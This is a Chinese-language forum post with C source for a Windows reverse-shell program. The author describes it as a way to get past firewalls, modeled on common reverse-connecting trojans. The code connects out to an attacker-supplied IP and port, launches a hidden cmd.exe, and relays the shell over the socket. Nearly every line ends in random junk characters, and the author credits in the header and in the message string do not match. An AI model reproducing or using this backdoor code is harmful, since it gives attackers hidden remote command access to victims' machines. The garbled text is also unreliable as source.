这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W7"{r)7
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/* ============================== uwf
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Rebound port in Windows NT T{qTj6I
By wind,2006/7 7!,YNy%
===============================*/ }G o$
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#include EN{]Qb06A
#include a,F&`Wg
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#pragma comment(lib,"wsock32.lib") ^-mRP\5
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void OutputShell(); >Rvx[`|O!m
SOCKET sClient; }+o:j'jB
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; WW+l' 6.
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void main(int argc,char **argv) E$9Ys
{ ^ -FX
WSADATA stWsaData; t}IkK=f
int nRet; 4'$g(+z
SOCKADDR_IN stSaiClient,stSaiServer; J"=1/,AS
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if(argc != 3) }$MN|s
{ 43?^7_l-
printf("Useage:\n\rRebound DestIP DestPort\n"); JN^&S
return; DeR='7n
} ]E =Iu
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WSAStartup(MAKEWORD(2,2),&stWsaData); %r&-gWTQ,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s9dO,FMs0t
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stSaiClient.sin_family = AF_INET; ^F?&|clM/
stSaiClient.sin_port = htons(0); bjAnaya
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =%'`YbD$
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1B),A~Ip
{ gP+fN$5'd
printf("Bind Socket Failed!\n"); *:i1Lv@
return; |ZodlYF
} yj4+5`|f
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stSaiServer.sin_family = AF_INET; Kwc6mlw~M
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 4f(Kt,0
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2pdvWWh3l
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) xBu1Ak8w
{ -v6M<
printf("Connect Error!"); AeAp0cbet
return; }|%eCVB
} 52upoU>}2
OutputShell(); -,K!
} ]%Zz \Q
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void OutputShell() 2lL,zFAq
{ oD}uOC}FS{
char szBuff[1024]; 'zh7_%
SECURITY_ATTRIBUTES stSecurityAttributes; ;[RZ0Uy=
OSVERSIONINFO stOsversionInfo; !n6wWl
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; sB69R:U;
STARTUPINFO stStartupInfo; Q f(p~a(d
char *szShell; fwzb!"!.@
PROCESS_INFORMATION stProcessInformation; AIA6yeaU
unsigned long lBytesRead; $%VuSrZ&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); AyMd:5;
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Wu)>U
stSecurityAttributes.lpSecurityDescriptor = 0; nC{%quwh{
stSecurityAttributes.bInheritHandle = TRUE; tpuYiL
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a#T]*(Yq)
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {nU=%w"\
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %v2R.?F8
stStartupInfo.wShowWindow = SW_HIDE; JI vo_7{
stStartupInfo.hStdInput = hReadPipe; BC'llD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; :kfp_o+J
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GetVersionEx(&stOsversionInfo); q\H[am
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switch(stOsversionInfo.dwPlatformId) &>H!}"Yk
{ ;NlWb =
case 1: Hr$QLtr
szShell = "command.com"; H.UX,O@
break;
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default: fA89|NTSUh
szShell = "cmd.exe"; LY+|[qka
break; ;NRF=d>
} 0@AAulRl
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); *}8t{ F@k
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send(sClient,szMsg,77,0); 8mQmi`
while(1) w|Nz_3tI
{ Afk$?wkL
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )XWP\
h
if(lBytesRead) )aX,% yK
{ U#U]Pt
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); VU@9@%TN
send(sClient,szBuff,lBytesRead,0); qpXWi
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} ;V<fB/S.=+
else 'MY/*k7:
{ tr7<]Hm:
lBytesRead=recv(sClient,szBuff,1024,0); 3N_"rNKD
if(lBytesRead<=0) break; g(4xC7xK6
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); : >>@rF ,
} H@l}WihW
} hqRw^2F
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return; +a*tO@HG
}